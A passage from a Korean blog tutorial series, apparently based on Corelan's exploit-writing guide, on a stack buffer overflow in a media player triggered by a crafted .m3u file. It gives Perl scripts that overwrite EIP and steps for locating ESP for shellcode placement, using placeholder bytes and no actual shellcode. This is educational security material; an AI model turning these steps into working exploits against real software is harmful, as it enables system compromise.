[exploit writing] 1_스택 기반 오버플로우 (5)
목표
EIP와 ESP 까지의 크기를 알았으니 이제 원하는 값을 ESP와 EIP에 넣어 보자.
과정
1. 길이를 모두 알았으니 test 파일을 수정해보자
my $file = "crash25000_EIP_BBBB.m3u";
my $junk = "\x41" x 26064;
my $eip = "BBBB";
my $espdata = "C" x 1000;
open($FILE, ">$file");
print $FILE $junk.$eip.$espdata;
close($FILE);
print "m3u File Created Successfully \n";
2. EIP에는 42424242가 들어가 있고, ESP에는 43434343이 들어가 있음을 확인할 수 있다. 이제 우리는 EIP를 통제할 수 있게 되었다.
esp 가 0x43434343 이라는 것은 두번째로 작성했던 메모리에 대한 설명을 다시 보면 알것이다. 또한 ESP 와 EIP 는 모두 32bits 이므로 BBBB 값과 CCCC 값이 각각 저장되는 것이다.
3. 이쯤에서 버퍼 오버플로우로 인해 스택의 모양이 어떻게 변했는지 확인해보자. 함수가 리턴(ret)할 때 BBBB가 EIP에 들어가게 되고, 프로그램의 흐름은 42424242라는 주소로 이어지게 된다.
/*의문점*/
분명 처음에 ESP는 버퍼의 시작 부분(스택의 꼭대기)을 가리키고 있다고 했는데 이제 보니까 EIP 위에 있는 걸 위 메모리 그림을 보면 알 수 있을 것이다.
/*발견*/
보통 정상적인 메모리의 ESP라면 버퍼의 시작부분을 가리키지만
버퍼 오버 플로우가 발생한 뒤의 ESP는 EIP 위에 놓이게 된다~!
분명 처음에 ESP는 버퍼의 시작 부분(스택의 꼭대기)을 가리키고 있다고 했는데 이제 보니까 EIP 위에 있는 걸 위 메모리 그림을 보면 알 수 있을 것이다.
/*발견*/
보통 정상적인 메모리의 ESP라면 버퍼의 시작부분을 가리키지만
버퍼 오버 플로우가 발생한 뒤의 ESP는 EIP 위에 놓이게 된다~!
4. 공격자가 EIP 를 통제할 수 있게 되면 공격자의 궁극적인 의도를 싷할 쉘코드를 가진 곳을 EIP가 가리키도록 해야한다.
5. 공격 대상이 되는 프로그램에서 충돌이 발생할 때 레지스터들을 살펴보고 덤프를 해보자. 만약 우리가 입력한 버퍼 데이터를 레지스터 중 하나에서 볼 수 있다면 쉘코드로 그것을 대체할 수 있으며, 또한 그 위치로 점프도 가능하다. 앞에서 우리는 ESP에 'C' 문자 값이 들어가 있는 것을 확인했는데, 이번에는 'C' 문자 대신에 쉘코드를 넣어 EIP가 ESP 주소로 가도록 해보자.
6. 비록 ESP에 'C' 문자가 들어가 있었지만, ESP가 가리키는 첫 번째 번지가 우리의 목표 번지라는 것을 확신할 수는 없다. test.pl 스크립트를 조금 수정하여 테스트 해보자. 앞서 사용한 'C' 대신에 144개의 문자를 사용해 보겠다.
my $file = "crash25000_EIP_BBBB.m3u";
my $junk = "\x41" x 26064;
my $eip = "BBBB";
my $shellcode =
"1ABCDEFGHIJK2ABCDEFGHIJK3ABCDEFGHIJK4ABCDEFGHIJK".
"5ABCDEFGHIJK6ABCDEFGHIJK".
"7ABCDEFGHIJK8ABCDEFGHIJK".
"9ABCDEFGHIJKAABCDEFGHIJK".
"BABCDEFGHIJKCABCDEFGHIJK";
open($FILE, ">$file");
print $FILE $junk.$eip.$shellcode;close($FILE);
print "m3u File Created Successfully \n";
7. 어플리케이션에서 충돌이 발생하 때 ESP 위치의 메모리를 덤프해보자.
오류가 뜨고 1) d esp를 통해 ESP의 버퍼를 보고 2)d를 통해 메모리의 내용을 대략적으로 보았다.
8. 여기서 흥미로운 점 2가지를 확인할 수 있다.
1> ESP는 $shellcode에 사용된 문자들 중 5번째에서 시작한다. (1ABCD)
2> 패턴 문자열 다음에 A 값들이 있는 것을 볼 수 있다. 이 A들은 대부분 버퍼의 첫 부분에 속하며, 그래서 우리는 RET를 덮어 쓰기 전에 우리의 쉘코드를 버퍼의 첫 부분에 넣을 수도 있다.
9. 먼저 패턴 문자열 앞에 4개의 문자열을 추가하고 다시 테스트를 해보자. 만약 우리의 의도대로라면 ESP는 이제 우리가 제공한 패턴의 시작 부분을 가리킬 것이다.
my $file = "crash25000_EIP_BBBB.m3u";
my $junk = "\x41" x 26064;
my $eip = "BBBB";
my $shellcode =
"QQQQ1ABCDEFGHIJK2ABCDEFGHIJK3ABCDEFGHIJK4ABCDEFGHIJK".
"5ABCDEFGHIJK6ABCDEFGHIJK".
"7ABCDEFGHIJK8ABCDEFGHIJK".
"9ABCDEFGHIJKAABCDEFGHIJK".
"BABCDEFGHIJKCABCDEFGHIJK";
open($FILE, ">$file");
print $FILE $junk.$eip.$shellcode;close($FILE);
print "m3u File Created Successfully \n";
10. 이제 우리는 다음과 같은 결과를 가지게 되었다.
1) EIP에 대한 통제권
2) 원하는 코드를 쓸 수 있는 공간
3) 0x000ff730에서 시작하는 우리의 코드를 직접 가리키는 레지스터
출처 : Exploit Writing By Corelan
댓글
댓글 쓰기